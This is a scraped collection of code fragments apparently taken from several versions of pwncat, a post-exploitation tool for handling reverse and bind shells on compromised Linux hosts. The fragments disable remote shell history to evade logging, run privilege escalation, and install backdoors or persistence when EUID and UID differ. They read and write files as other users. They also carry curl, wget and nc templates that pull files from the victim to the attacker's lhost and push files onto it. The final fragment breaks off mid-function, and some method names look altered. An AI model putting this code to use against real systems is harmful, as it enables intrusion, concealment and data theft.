Esempio n. 1
0
    def __init__(self, client: socket.SocketType):
        """ Initialize a new Pty Handler. This will handle creating the PTY and
        setting the local terminal to raw. It also maintains the state to open a
        local terminal if requested and exit raw mode. """

        self.client = client
        self.state = "normal"
        self.saved_term_state = None
        self.input = b""
        self.lhost = None
        self.known_binaries = {}
        self.vars = {"lhost": None}

        # Ensure history is disabled
        util.info("disabling remote command history", overlay=True)
        client.sendall(b"unset HISTFILE\n")

        util.info("setting terminal prompt", overlay=True)
        client.sendall(b'export PS1="(remote) \\u@\\h\\$ "\n\n')

        # Locate interesting binaries
        for name, friendly, priority in PtyHandler.INTERESTING_BINARIES:
            util.info(f"resolving remote binary: {name}", overlay=True)

            # We already found a preferred option
            if (
                friendly in self.known_binaries
                and self.known_binaries[friendly][1] > priority
            ):
                continue

            # Look for the given binary
            response = self.run(f"which {shlex.quote(name)}", has_pty=False)
            if response == b"":
                continue

            self.known_binaries[friendly] = (response.decode("utf-8"), priority)

        for m, cmd in PtyHandler.OPEN_METHODS.items():
            if m in self.known_binaries:
                method_cmd = cmd.format(self.known_binaries[m][0])
                method = m
                break
        else:
            util.error("no available methods to spawn a pty!")
            raise RuntimeError("no available methods to spawn a pty!")

        # Open the PTY
        util.info(f"opening pseudoterminal via {method}", overlay=True)
        client.sendall(method_cmd.encode("utf-8") + b"\n")

        # Synchronize the terminals
        util.info("synchronizing terminal state", overlay=True)
        self.do_sync([])

        # Force the local TTY to enter raw mode
        self.enter_raw()
Esempio n. 2
0
    def do_test(self, argv):

        util.info("Attempting to stream data to a remote file...")
        with self.open("/tmp/stream_test", "w") as filp:
            filp.write("It f*****g worked!")

        util.info("Attempting to stream the data back...")
        with self.open("/tmp/stream_test", "r") as filp:
            print(filp.read())
Esempio n. 3
0
 def run(self, args):
     if args.topic:
         for command in pwncat.victim.command_parser.commands:
             if command.PROG == args.topic:
                 command.parser.print_help()
                 break
     else:
         util.info("the following commands are available:")
         for command in pwncat.victim.command_parser.commands:
             print(f" * {command.PROG}")
Esempio n. 4
0
 def run(self, args):
     if args.key is None:
         util.info("currently assigned key-bindings:")
         for key, binding in pwncat.victim.config.bindings.items():
             print(
                 f" {Fore.CYAN}{key}{Fore.RESET} = {Fore.YELLOW}{repr(binding)}{Fore.RESET}"
             )
     elif args.key is not None and args.script is None:
         if args.key in pwncat.victim.config.bindings:
             del pwncat.victim.config.bindings[args.key]
     else:
         pwncat.victim.config.bindings[args.key] = args.script
Esempio n. 5
0
 def run(self, args):
     if args.topic:
         for command in pwncat.victim.command_parser.commands:
             if command.PROG == args.topic:
                 if command.parser is not None:
                     command.parser.print_help()
                 else:
                     print(textwrap.dedent(command.__doc__).strip())
                 break
     else:
         util.info("the following commands are available:")
         for command in pwncat.victim.command_parser.commands:
             print(f" * {command.PROG}")
Esempio n. 6
0
    def do_set(self, argv):
        """ Set or view the currently assigned variables """

        if len(argv) == 0:
            util.info("local variables:")
            for k, v in self.vars.items():
                print(f" {k} = {shlex.quote(v)}")

            util.info("user passwords:")
            for user, data in self.users.items():
                if data["password"] is not None:
                    print(
                        f" {Fore.GREEN}{user}{Fore.RESET} -> {Fore.CYAN}{shlex.quote(data['password'])}{Fore.RESET}"
                    )
            return

        parser = argparse.ArgumentParser(prog="set")
        parser.add_argument(
            "--password",
            "-p",
            action="store_true",
            help="set the password for the given user",
        )
        parser.add_argument("variable", help="the variable name or user")
        parser.add_argument("value",
                            help="the new variable/user password value")

        try:
            args = parser.parse_args(argv)
        except SystemExit:
            # The arguments were parsed incorrectly, return.
            return

        if args.password is not None and args.variable not in self.users:
            util.error(f"{args.variable}: no such user")
        elif args.password is not None:
            self.users[args.variable]["password"] = args.value
        else:
            self.vars[args.variable] = args.value
Esempio n. 7
0
    def run(self, args):

        if args.action == "install":
            pwncat.victim.bootstrap_busybox(args.url)
        elif args.action == "list":
            if pwncat.victim.host.busybox is None:
                util.error(
                    "busybox hasn't been installed yet (hint: run 'busybox --install'"
                )
                return
            util.info("binaries which the remote busybox provides:")

            # Find all binaries which are provided by busybox
            provides = pwncat.victim.session.query(pwncat.db.Binary).filter(
                pwncat.db.Binary.path.contains(pwncat.victim.host.busybox),
                pwncat.db.Binary.host_id == pwncat.victim.host.id,
            )

            for binary in provides:
                print(f" * {binary.name}")
        elif args.action == "status":
            if pwncat.victim.host.busybox is None:
                util.error("busybox hasn't been installed yet")
                return
            util.info(
                f"busybox is installed to: {Fore.BLUE}{pwncat.victim.host.busybox}{Fore.RESET}"
            )

            # Find all binaries which are provided from busybox
            nprovides = (
                pwncat.victim.session.query(pwncat.db.Binary)
                .filter(
                    pwncat.db.Binary.path.contains(pwncat.victim.host.busybox),
                    pwncat.db.Binary.host_id == pwncat.victim.host.id,
                )
                .with_entities(func.count())
                .scalar()
            )
            util.info(f"busybox provides {Fore.GREEN}{nprovides}{Fore.RESET} applets")
Esempio n. 8
0
    def run(self, args):

        if args.action == "list":
            if not pwncat.victim.has_busybox:
                util.error(
                    "busybox hasn't been installed yet (hint: run 'busybox'")
                return
            util.info("binaries which the remote busybox provides:")
            for name in pwncat.victim.busybox_provides:
                print(f" * {name}")
        elif args.action == "status":
            if not pwncat.victim.has_busybox:
                util.error("busybox hasn't been installed yet")
                return
            util.info(
                f"busybox is installed to: {Fore.BLUE}{pwncat.victim.busybox_path}{Fore.RESET}"
            )
            util.info(
                f"busybox provides {Fore.GREEN}{len(pwncat.victim.busybox_provides)}{Fore.RESET} applets"
            )
        elif args.action == "install":
            pwncat.victim.bootstrap_busybox(args.url)
Esempio n. 9
0
    def do_busybox(self, args):
        """ Attempt to upload a busybox binary which we can use as a consistent 
        interface to local functionality """

        if args.action == "list":
            if not self.has_busybox:
                util.error(
                    "busybox hasn't been installed yet (hint: run 'busybox'")
                return
            util.info("binaries which the remote busybox provides:")
            for name in self.busybox_provides:
                print(f" * {name}")
        elif args.action == "status":
            if not self.has_busybox:
                util.error("busybox hasn't been installed yet")
                return
            util.info(
                f"busybox is installed to: {Fore.BLUE}{self.busybox_path}{Fore.RESET}"
            )
            util.info(
                f"busybox provides {Fore.GREEN}{len(self.busybox_provides)}{Fore.RESET} applets"
            )
        elif args.action == "install":
            self.bootstrap_busybox(args.url, args.method)
Esempio n. 10
0
    def do_privesc(self, argv):
        """ Attempt privilege escalation """

        parser = argparse.ArgumentParser(prog="privesc")
        parser.add_argument(
            "--list",
            "-l",
            action="store_true",
            help="do not perform escalation. list potential escalation methods",
        )
        parser.add_argument(
            "--all",
            "-a",
            action="store_const",
            dest="user",
            const=None,
            help=
            "when listing methods, list for all users. when escalating, escalate to root.",
        )
        parser.add_argument(
            "--user",
            "-u",
            choices=[user for user in self.users],
            default="root",
            help="the target user",
        )
        parser.add_argument(
            "--max-depth",
            "-m",
            type=int,
            default=None,
            help="Maximum depth for the privesc search (default: no maximum)",
        )
        parser.add_argument(
            "--read",
            "-r",
            type=str,
            default=None,
            help="remote filename to try and read",
        )
        parser.add_argument(
            "--write",
            "-w",
            type=str,
            default=None,
            help="attempt to write to a remote file as the specified user",
        )
        parser.add_argument(
            "--data",
            "-d",
            type=str,
            default=None,
            help="the data to write a file. ignored if not write mode",
        )
        parser.add_argument(
            "--text",
            "-t",
            action="store_true",
            default=False,
            help="whether to use safe readers/writers",
        )

        try:
            args = parser.parse_args(argv)
        except SystemExit:
            # The arguments were parsed incorrectly, return.
            return

        if args.list:
            techniques = self.privesc.search(args.user)
            if len(techniques) == 0:
                util.warn("no techniques found")
            else:
                for tech in techniques:
                    util.info(f" - {tech}")
        elif args.read:
            try:
                read_pipe, chain = self.privesc.read_file(
                    args.read, args.user, args.max_depth)

                # Read the data from the pipe
                sys.stdout.buffer.write(read_pipe.read(4096))
                read_pipe.close()

                # Unwrap in case we had to privesc to get here
                self.privesc.unwrap(chain)

            except privesc.PrivescError as exc:
                util.error(f"read file failed: {exc}")
        elif args.write:
            if args.data is None:
                util.error("no data specified")
            else:
                if args.data.startswith("@"):
                    with open(args.data[1:], "rb") as f:
                        data = f.read()
                else:
                    data = args.data.encode("utf-8")
                try:
                    chain = self.privesc.write_file(
                        args.write,
                        data,
                        safe=not args.text,
                        target_user=args.user,
                        depth=args.max_depth,
                    )
                    self.privesc.unwrap(chain)
                    util.success("file written successfully!")
                except privesc.PrivescError as exc:
                    util.error(f"file write failed: {exc}")
        else:
            try:
                chain = self.privesc.escalate(args.user, args.max_depth)

                ident = self.id
                backdoor = False
                if ident["euid"]["id"] == 0 and ident["uid"]["id"] != 0:
                    util.progress(
                        "EUID != UID. installing backdoor to complete privesc")
                    try:
                        self.privesc.add_backdoor()
                        backdoor = True
                    except privesc.PrivescError as exc:
                        util.warn(f"backdoor installation failed: {exc}")

                util.success("privilege escalation succeeded using:")
                for i, (technique, _) in enumerate(chain):
                    arrow = f"{Fore.YELLOW}\u2ba1{Fore.RESET} "
                    print(f"{(i+1)*' '}{arrow}{technique}")

                if backdoor:
                    print((f"{(len(chain)+1)*' '}{arrow}"
                           f"{Fore.YELLOW}pwncat{Fore.RESET} backdoor"))

                self.reset()
                self.do_back([])
            except privesc.PrivescError as exc:
                util.error(f"escalation failed: {exc}")
Esempio n. 11
0
    def __init__(self, client: socket.SocketType, has_pty: bool = False):
        """ Initialize a new Pty Handler. This will handle creating the PTY and
        setting the local terminal to raw. It also maintains the state to open a
        local terminal if requested and exit raw mode. """

        self.client = client
        self.state = "normal"
        self.saved_term_state = None
        self.input = b""
        self.lhost = None
        self.known_binaries = {}
        self.known_users = {}
        self.vars = {"lhost": util.get_ip_addr()}
        self.remote_prefix = "\\[\\033[01;31m\\](remote)\\033[00m\\]"
        self.remote_prompt = ("\\[\\033[01;33m\\]\\u@\\h\\[\\033[00m\\]:\\["
                              "\\033[01;36m\\]\\w\\[\\033[00m\\]\\$ ")
        self.prompt = self.build_prompt_session()
        self.has_busybox = False
        self.busybox_path = None
        self.binary_aliases = {
            "python": [
                "python2",
                "python3",
                "python2.7",
                "python3.6",
                "python3.8",
                "python3.9",
            ],
            "sh": ["bash", "zsh", "dash"],
            "nc": ["netcat", "ncat"],
        }
        self.has_pty = has_pty

        # Setup the argument parsers for local the local prompt
        self.setup_command_parsers()

        # We should always get a response within 3 seconds...
        self.client.settimeout(1)

        util.info("probing for prompt...", overlay=True)
        start = time.time()
        prompt = b""
        try:
            while time.time() < (start + 0.1):
                prompt += self.client.recv(1)
        except socket.timeout:
            pass

        # We assume if we got data before sending data, there is a prompt
        if prompt != b"":
            self.has_prompt = True
            util.info(f"found a prompt", overlay=True)
        else:
            self.has_prompt = False
            util.info("no prompt observed", overlay=True)

        # Send commands without a new line, and see if the characters are echoed
        util.info("checking for echoing", overlay=True)
        test_cmd = b"echo"
        self.client.send(test_cmd)
        response = b""

        try:
            while len(response) < len(test_cmd):
                response += self.client.recv(len(test_cmd) - len(response))
        except socket.timeout:
            pass

        if response == test_cmd:
            self.has_echo = True
            util.info("found input echo", overlay=True)
        else:
            self.has_echo = False
            util.info(f"no echo observed", overlay=True)

        self.client.send(b"\n")
        response = self.client.recv(1)
        if response == "\r":
            self.client.recv(1)
            self.has_cr = True
        else:
            self.has_cr = False

        if self.has_echo:
            self.recvuntil(b"\n")

        # Ensure history is disabled
        util.info("disabling remote command history", overlay=True)
        self.run("unset HISTFILE; export HISTCONTROL=ignorespace")

        util.info("setting terminal prompt", overlay=True)
        self.run("unset PROMPT_COMMAND")
        self.run(f'export PS1="{self.remote_prefix} {self.remote_prompt}"')

        self.shell = self.run("ps -o command -p $$ | tail -n 1").decode(
            "utf-8").strip()
        self.shell = self.which(self.shell.split(" ")[0])
        util.info(f"running in {Fore.BLUE}{self.shell}{Fore.RESET}")

        # Locate interesting binaries
        # The auto-resolving doesn't work correctly until we have a pty
        # so, we manually resolve a list of useful binaries prior to spawning
        # a pty
        for name in PtyHandler.INTERESTING_BINARIES:
            util.info(
                f"resolving remote binary: {Fore.YELLOW}{name}{Fore.RESET}",
                overlay=True,
            )

            # Look for the given binary
            response = self.run(f"which {shlex.quote(name)}").strip()
            if response == b"":
                continue

            self.known_binaries[name] = response.decode("utf-8")

        # Now, we can resolve using `which` w/ request=False for the different
        # methods
        for m, cmd in PtyHandler.OPEN_METHODS.items():
            if self.which(m, request=False) is not None:
                method_cmd = cmd.format(self.which(m, request=False),
                                        self.shell)
                method = m
                break
        else:
            util.error("no available methods to spawn a pty!")
            raise RuntimeError("no available methods to spawn a pty!")

        # Open the PTY
        util.info(
            f"opening pseudoterminal via {Fore.GREEN}{method}{Fore.RESET}",
            overlay=True)
        self.run(method_cmd, wait=False)
        # client.sendall(method_cmd.encode("utf-8") + b"\n")

        # We just started a PTY, so we now have all three
        self.has_echo = True
        self.has_cr = True
        self.has_prompt = True

        util.info("setting terminal prompt", overlay=True)
        self.run("unset PROMPT_COMMAND")
        self.run(f'export PS1="{self.remote_prefix} {self.remote_prompt}"')

        # Make sure HISTFILE is unset in this PTY (it resets when a pty is
        # opened)
        self.run("unset HISTFILE; export HISTCONTROL=ignorespace")

        # Disable automatic margins, which f**k up the prompt
        self.run("tput rmam")

        # Synchronize the terminals
        util.info("synchronizing terminal state", overlay=True)
        self.do_sync([])

        self.privesc = privesc.Finder(self)

        # Attempt to identify architecture
        self.arch = self.run("uname -m").decode("utf-8").strip()

        # Force the local TTY to enter raw mode
        self.enter_raw()
Esempio n. 12
0
    def do_upload(self, argv):
        """ Upload a file to the remote host """

        downloaders = {
            "curl": ("http", "curl --output {outfile} http://{lhost}:{lport}/{lfile}"),
            "wget": ("http", "wget -O {outfile} http://{lhost}:{lport}/{lfile}"),
            "nc": ("raw", "nc {lhost} {lport} > {outfile}"),
        }
        servers = {"http": util.serve_http_file, "raw": util.serve_raw_file}

        parser = argparse.ArgumentParser(prog="upload")
        parser.add_argument(
            "--method",
            "-m",
            choices=downloaders.keys(),
            default=None,
            help="set the download method (default: auto)",
        )
        parser.add_argument(
            "--output",
            "-o",
            default="./{basename}",
            help="path to the output file (default: basename of input)",
        )
        parser.add_argument("path", help="path to the file to upload")

        try:
            args = parser.parse_args(argv)
        except SystemExit:
            # The arguments were parsed incorrectly, return.
            return

        if self.vars.get("lhost", None) is None:
            util.error("[!] you must provide an lhost address for reverse connections!")
            return

        if not os.path.isfile(args.path):
            util.error(f"[!] {args.path}: no such file or directory")
            return

        if args.method is not None and args.method not in self.known_binaries:
            util.error(f"{args.method}: method unavailable")
        elif args.method is not None:
            method = downloaders[args.method]
        else:
            method = None
            for m, info in downloaders.items():
                if m in self.known_binaries:
                    util.info("uploading via {m}")
                    method = info
                    break
            else:
                util.warn(
                    "no available upload methods. falling back to echo/base64 method"
                )

        path = args.path
        basename = os.path.basename(args.path)
        name = basename
        outfile = args.output.format(basename=basename)

        with ProgressBar("uploading") as pb:

            counter = pb(range(os.path.getsize(path)))
            last_update = time.time()

            def on_progress(copied, blocksz):
                """ Update the progress bar """
                counter.items_completed += blocksz
                if counter.items_completed >= counter.total:
                    counter.done = True
                    counter.stopped = True
                if (time.time() - last_update) > 0.1:
                    pb.invalidate()

            if method is not None:
                server = servers[method[0]](path, name, progress=on_progress)

                command = method[1].format(
                    outfile=shlex.quote(outfile),
                    lhost=self.vars["lhost"],
                    lfile=name,
                    lport=server.server_address[1],
                )

                result = self.run(command, wait=False)
            else:
                server = None
                with open(path, "rb") as fp:
                    self.run(f"echo -n > {outfile}")
                    copied = 0
                    for chunk in iter(lambda: fp.read(8192), b""):
                        encoded = base64.b64encode(chunk).decode("utf-8")
                        self.run(f"echo -n {encoded} | base64 -d >> {outfile}")
                        copied += len(chunk)
                        on_progress(copied, len(chunk))

            try:
                while not counter.done:
                    time.sleep(0.1)
            except KeyboardInterrupt:
                pass
            finally:
                if server is not None:
                    server.shutdown()

            # https://github.com/prompt-toolkit/python-prompt-toolkit/issues/964
            time.sleep(0.1)
Esempio n. 13
0
    def connect(self, client: socket.SocketType):

        # Initialize the socket connection
        self.client = client

        # We should always get a response within 3 seconds...
        self.client.settimeout(1)

        # Attempt to identify architecture
        self.arch = self.run("uname -m").decode("utf-8").strip()
        if self.arch == "amd64":
            self.arch = "x86_64"

        # Ensure history is disabled
        util.info("disabling remote command history", overlay=True)
        self.run("unset HISTFILE; export HISTCONTROL=ignorespace")

        util.info("setting terminal prompt", overlay=True)
        self.run("unset PROMPT_COMMAND")
        self.run(f'export PS1="{self.remote_prefix} {self.remote_prompt}"')

        self.shell = self.run("ps -o command -p $$ | tail -n 1").decode("utf-8").strip()
        self.shell = self.which(self.shell.split(" ")[0])
        util.info(f"running in {Fore.BLUE}{self.shell}{Fore.RESET}")

        # Locate interesting binaries
        # The auto-resolving doesn't work correctly until we have a pty
        # so, we manually resolve a list of useful binaries prior to spawning
        # a pty
        for name in Victim.INTERESTING_BINARIES:
            util.info(
                f"resolving remote binary: {Fore.YELLOW}{name}{Fore.RESET}",
                overlay=True,
            )

            # Look for the given binary
            response = self.run(f"which {shlex.quote(name)}").strip()
            if response == b"":
                continue

            self.known_binaries[name] = response.decode("utf-8")

        # Now, we can resolve using `which` w/ request=False for the different
        # methods
        if self.which("python") is not None:
            method_cmd = Victim.OPEN_METHODS["python"].format(
                self.which("python"), self.shell
            )
            method = "python"
        elif self.which("script") is not None:
            result = self.run("script --version")
            if b"linux" in result:
                method_cmd = f"exec script -qc {self.shell} /dev/null"
                method = "script (util-linux)"
            else:
                method_cmd = f"exec script -q /dev/null {self.shell}"
                method = "script (probably bsd)"
            method = "script"
        else:
            util.error("no available methods to spawn a pty!")
            raise RuntimeError("no available methods to spawn a pty!")

        # Open the PTY
        util.info(
            f"opening pseudoterminal via {Fore.GREEN}{method}{Fore.RESET}", overlay=True
        )
        self.run(method_cmd, wait=False)
        # client.sendall(method_cmd.encode("utf-8") + b"\n")

        util.info("setting terminal prompt", overlay=True)
        self.run("unset PROMPT_COMMAND")
        self.run(f'export PS1="{self.remote_prefix} {self.remote_prompt}"')

        # Make sure HISTFILE is unset in this PTY (it resets when a pty is
        # opened)
        self.run("unset HISTFILE; export HISTCONTROL=ignorespace")

        # Disable automatic margins, which f**k up the prompt
        self.run("tput rmam")

        self.privesc = privesc.Finder()

        # Save our terminal state
        self.stty_saved = self.run("stty -g").decode("utf-8").strip()

        # The session is fully setup now
        self.command_parser.loaded = True

        # Synchronize the terminals
        self.command_parser.dispatch_line("sync")

        # Force the local TTY to enter raw mode
        self.state = State.RAW
Esempio n. 14
0
def main():

    # Default log-level is "INFO"
    logging.getLogger().setLevel(logging.INFO)
    # Ensure our GTFObins data is loaded
    gtfobins.Binary.load("data/gtfobins.json")

    parser = argparse.ArgumentParser(prog="pwncat")
    mutex_group = parser.add_mutually_exclusive_group(required=True)
    mutex_group.add_argument(
        "--reverse",
        "-r",
        action="store_const",
        dest="type",
        const="reverse",
        help="Listen on the specified port for connections from a remote host",
    )
    mutex_group.add_argument(
        "--bind",
        "-b",
        action="store_const",
        dest="type",
        const="bind",
        help="Connect to a remote host",
    )
    parser.add_argument(
        "--host",
        "-H",
        type=str,
        help=(
            "Bind address for reverse connections. Remote host for bind connections (default: 0.0.0.0)"
        ),
        default="0.0.0.0",
    )
    parser.add_argument(
        "--port",
        "-p",
        type=int,
        help="Bind port for reverse connections. Remote port for bind connections",
        required=True,
    )
    parser.add_argument(
        "--method",
        "-m",
        choices=[*PtyHandler.OPEN_METHODS.keys()],
        help="Method to create a pty on the remote host (default: script)",
        default="script",
    )
    args = parser.parse_args()

    if args.type == "reverse":
        # Listen on a socket for connections
        util.info(f"binding to {args.host}:{args.port}", overlay=True)
        server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        server.bind((args.host, args.port))
        # After the first connection, drop further attempts
        server.listen(1)

        # Wait for a single connection
        try:
            (client, address) = server.accept()
        except KeyboardInterrupt:
            util.warn(f"aborting listener...")
            sys.exit(0)
    elif args.type == "bind":
        util.info(f"connecting to {args.host}:{args.port}", overlay=True)
        client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        client.connect((args.host, args.port))
        address = (args.host, args.port)

    util.info(f"connection to {address[0]}:{address[1]} established", overlay=True)

    # Create a PTY handler to proctor communications with the remote PTY
    handler = PtyHandler(client)

    # Setup the selector to wait for data asynchronously from both streams
    selector = selectors.DefaultSelector()
    selector.register(sys.stdin, selectors.EVENT_READ, None)
    selector.register(client, selectors.EVENT_READ, "read")

    # Initialize our state
    done = False

    try:
        while not done:
            for k, _ in selector.select():
                if k.fileobj is sys.stdin:
                    data = sys.stdin.buffer.read(8)
                    handler.process_input(data)
                else:
                    data = handler.recv()
                    if data is None or len(data) == 0:
                        done = True
                        break
                    sys.stdout.buffer.write(data)
                    sys.stdout.flush()
    except ConnectionResetError:
        handler.restore()
        util.warn("connection reset by remote host")
    finally:
        # Restore the shell
        handler.restore()
Esempio n. 15
0
    def run(self, args):

        if args.action == "list":
            techniques = pwncat.victim.privesc.search(args.user)
            if len(techniques) == 0:
                util.warn("no techniques found")
            else:
                for tech in techniques:
                    util.info(f" - {tech}")
        elif args.action == "read":
            if not args.path:
                self.parser.error("missing required argument: --path")
            try:
                read_pipe, chain = pwncat.victim.privesc.read_file(
                    args.path, args.user, args.max_depth)
                util.success("file successfully opened!")

                # Read the data from the pipe
                shutil.copyfileobj(read_pipe, sys.stdout.buffer)
                read_pipe.close()

                # Unwrap in case we had to privesc to get here
                pwncat.victim.privesc.unwrap(chain)

            except privesc.PrivescError as exc:
                util.error(f"read file failed: {exc}")
        elif args.action == "write":
            # Make sure the correct arguments are present
            if not args.path:
                self.parser.error("missing required argument: --path")
            if not args.data:
                self.parser.error("missing required argument: --data")

            # Read in the data file
            try:
                with open(args.data, "rb") as f:
                    data = f.read()
            except PermissionError:
                self.parser.error(f"no local permission to read: {args.data}")

            try:
                # Attempt to write the data to the remote file
                chain = pwncat.victim.privesc.write_file(
                    args.path,
                    data,
                    target_user=args.user,
                    depth=args.max_depth,
                )
                pwncat.victim.privesc.unwrap(chain)
                util.success("file written successfully!")
            except privesc.PrivescError as exc:
                util.error(f"file write failed: {exc}")
        elif args.action == "escalate":
            try:
                chain = pwncat.victim.privesc.escalate(args.user,
                                                       args.max_depth)

                ident = pwncat.victim.id
                if ident["euid"]["id"] == 0 and ident["uid"]["id"] != 0:
                    util.progress(
                        "mismatched euid and uid; attempting backdoor installation."
                    )
                    for method in pwncat.victim.persist.available:
                        if not method.system or not method.local:
                            continue
                        try:
                            # Attempt to install this persistence method
                            pwncat.victim.persist.install(method.name)
                            if not method.escalate():
                                # The escalation didn't work, remove it and try the next
                                pwncat.victim.persist.remove(method.name)
                                continue
                            chain.append((
                                f"{method.format()} ({Fore.CYAN}euid{Fore.RESET} correction)",
                                "exit",
                            ))
                            break
                        except PersistenceError:
                            continue

                util.success("privilege escalation succeeded using:")
                for i, (technique, _) in enumerate(chain):
                    arrow = f"{Fore.YELLOW}\u2ba1{Fore.RESET} "
                    print(f"{(i+1)*' '}{arrow}{technique}")
                pwncat.victim.reset()
                pwncat.victim.state = State.RAW
            except privesc.PrivescError as exc:
                util.error(f"escalation failed: {exc}")
Esempio n. 16
0
def main():

    # Default log-level is "INFO"
    logging.getLogger().setLevel(logging.INFO)

    parser = argparse.ArgumentParser(prog="pwncat")
    mutex_group = parser.add_mutually_exclusive_group(required=True)
    mutex_group.add_argument(
        "--reverse",
        "-r",
        action="store_const",
        dest="type",
        const="reverse",
        help="Listen on the specified port for connections from a remote host",
    )
    mutex_group.add_argument(
        "--bind",
        "-b",
        action="store_const",
        dest="type",
        const="bind",
        help="Connect to a remote host",
    )
    parser.add_argument(
        "--host",
        "-H",
        type=str,
        help=
        ("Bind address for reverse connections. Remote host for bind connections (default: 0.0.0.0)"
         ),
        default="0.0.0.0",
    )
    parser.add_argument(
        "--port",
        "-p",
        type=int,
        help=
        "Bind port for reverse connections. Remote port for bind connections",
        required=True,
    )
    parser.add_argument(
        "--method",
        "-m",
        choices=[*Victim.OPEN_METHODS.keys()],
        help="Method to create a pty on the remote host (default: script)",
        default="script",
    )
    parser.add_argument("--config",
                        "-c",
                        help="Configuration script",
                        default=None)
    args = parser.parse_args()

    # Build the victim object
    pwncat.victim = Victim(args.config)

    # Run the configuration script
    if args.config:
        with open(args.config, "r") as filp:
            config_script = filp.read()
        pwncat.victim.command_parser.eval(config_script, args.config)

    if args.type == "reverse":
        # Listen on a socket for connections
        util.info(f"binding to {args.host}:{args.port}", overlay=True)
        server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        server.bind((args.host, args.port))
        # After the first connection, drop further attempts
        server.listen(1)

        # Wait for a single connection
        try:
            (client, address) = server.accept()
        except KeyboardInterrupt:
            util.warn(f"aborting listener...")
            sys.exit(0)
    elif args.type == "bind":
        util.info(f"connecting to {args.host}:{args.port}", overlay=True)
        # client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        # client.connect((args.host, args.port))
        client = socket.create_connection((args.host, args.port))
        address = (args.host, args.port)
    else:
        parser.error("must specify a valid connection type!")
        sys.exit(1)

    util.info(f"connection to {address[0]}:{address[1]} established",
              overlay=True)

    # Connect and initialize the remote victim
    pwncat.victim.connect(client)

    # Setup the selector to wait for data asynchronously from both streams
    selector = selectors.DefaultSelector()
    selector.register(sys.stdin, selectors.EVENT_READ, None)
    selector.register(client, selectors.EVENT_READ, "read")

    # Initialize our state
    done = False

    try:
        while not done:
            for k, _ in selector.select():
                if k.fileobj is sys.stdin:
                    data = sys.stdin.buffer.read(8)
                    pwncat.victim.process_input(data)
                else:
                    data = pwncat.victim.recv()
                    if data is None or len(data) == 0:
                        done = True
                        break
                    sys.stdout.buffer.write(data)
                    sys.stdout.flush()
    except ConnectionResetError:
        pwncat.victim.restore_local_term()
        util.warn("connection reset by remote host")
    finally:
        # Restore the shell
        pwncat.victim.restore_local_term()
        try:
            # Make sure everything was committed
            pwncat.victim.session.commit()
        except InvalidRequestError:
            pass
        util.success("local terminal restored")
Esempio n. 17
0
    def run(self, args):

        if args.action == "list":
            techniques = pwncat.victim.privesc.search(args.user)
            if len(techniques) == 0:
                util.warn("no techniques found")
            else:
                for tech in techniques:
                    util.info(f" - {tech}")
        elif args.action == "read":
            if not args.path:
                self.parser.error("missing required argument: --path")
            try:
                read_pipe, chain = pwncat.victim.privesc.read_file(
                    args.path, args.user, args.max_depth)
                util.success("file successfully opened!")

                # Read the data from the pipe
                shutil.copyfileobj(read_pipe, sys.stdout.buffer)
                read_pipe.close()

                # Unwrap in case we had to privesc to get here
                pwncat.victim.privesc.unwrap(chain)

            except privesc.PrivescError as exc:
                util.error(f"read file failed: {exc}")
        elif args.action == "write":
            # Make sure the correct arguments are present
            if not args.path:
                self.parser.error("missing required argument: --path")
            if not args.data:
                self.parser.error("missing required argument: --data")

            # Read in the data file
            with open(args.data, "rb") as f:
                data = f.read()

            try:
                # Attempt to write the data to the remote file
                chain = pwncat.victim.privesc.write_file(
                    args.path,
                    data,
                    target_user=args.user,
                    depth=args.max_depth,
                )
                pwncat.victim.privesc.unwrap(chain)
                util.success("file written successfully!")
            except privesc.PrivescError as exc:
                util.error(f"file write failed: {exc}")
        elif args.action == "escalate":
            try:
                chain = pwncat.victim.privesc.escalate(args.user,
                                                       args.max_depth)

                ident = pwncat.victim.id
                backdoor = False
                if ident["euid"]["id"] == 0 and ident["uid"]["id"] != 0:
                    util.progress(
                        "EUID != UID. installing backdoor to complete privesc")
                    try:
                        pwncat.victim.privesc.add_backdoor()
                        backdoor = True
                    except privesc.PrivescError as exc:
                        util.warn(f"backdoor installation failed: {exc}")

                util.success("privilege escalation succeeded using:")
                for i, (technique, _) in enumerate(chain):
                    arrow = f"{Fore.YELLOW}\u2ba1{Fore.RESET} "
                    print(f"{(i+1)*' '}{arrow}{technique}")

                if backdoor:
                    print((f"{(len(chain)+1)*' '}{arrow}"
                           f"{Fore.YELLOW}pwncat{Fore.RESET} backdoor"))

                pwncat.victim.reset()
                pwncat.victim.state = State.RAW
            except privesc.PrivescError as exc:
                util.error(f"escalation failed: {exc}")
Esempio n. 18
0
    def do_download(self, argv):

        uploaders = {
            "XXXXX": (
                "http",
                "curl -X POST --data @{remote_file} http://{lhost}:{lport}/{lfile}",
            ),
            "XXXX": (
                "http",
                "wget --post-file {remote_file} http://{lhost}:{lport}/{lfile}",
            ),
            "nxc": ("raw", "nc {lhost} {lport} < {remote_file}"),
        }
        servers = {"http": util.receive_http_file, "raw": util.receive_raw_file}

        parser = argparse.ArgumentParser(prog="upload")
        parser.add_argument(
            "--method",
            "-m",
            choices=uploaders.keys(),
            default=None,
            help="set the upload method (default: auto)",
        )
        parser.add_argument(
            "--output",
            "-o",
            default="./{basename}",
            help="path to the output file (default: basename of input)",
        )
        parser.add_argument("path", help="path to the file to download")

        try:
            args = parser.parse_args(argv)
        except SystemExit:
            # The arguments were parsed incorrectly, return.
            return

        if self.vars.get("lhost", None) is None:
            util.error("[!] you must provide an lhost address for reverse connections!")
            return

        if args.method is not None and args.method not in self.known_binaries:
            util.error(f"{args.method}: method unavailable")
        elif args.method is not None:
            method = uploaders[args.method]
        else:
            method = None
            for m, info in uploaders.items():
                if m in self.known_binaries:
                    util.info(f"downloading via {m}")
                    method = info
                    break
            else:
                util.warn(
                    "no available upload methods. falling back to dd/base64 method"
                )

        path = args.path
        basename = os.path.basename(args.path)
        name = basename
        outfile = args.output.format(basename=basename)

        # Get the remote file size
        size = self.run(f'stat -c "%s" {shlex.quote(path)} 2>/dev/null || echo "none"')
        if b"none" in size:
            util.error(f"{path}: no such file or directory")
            return
        size = int(size)

        with ProgressBar("downloading") as pb:

            counter = pb(range(os.path.getsize(path)))
            last_update = time.time()

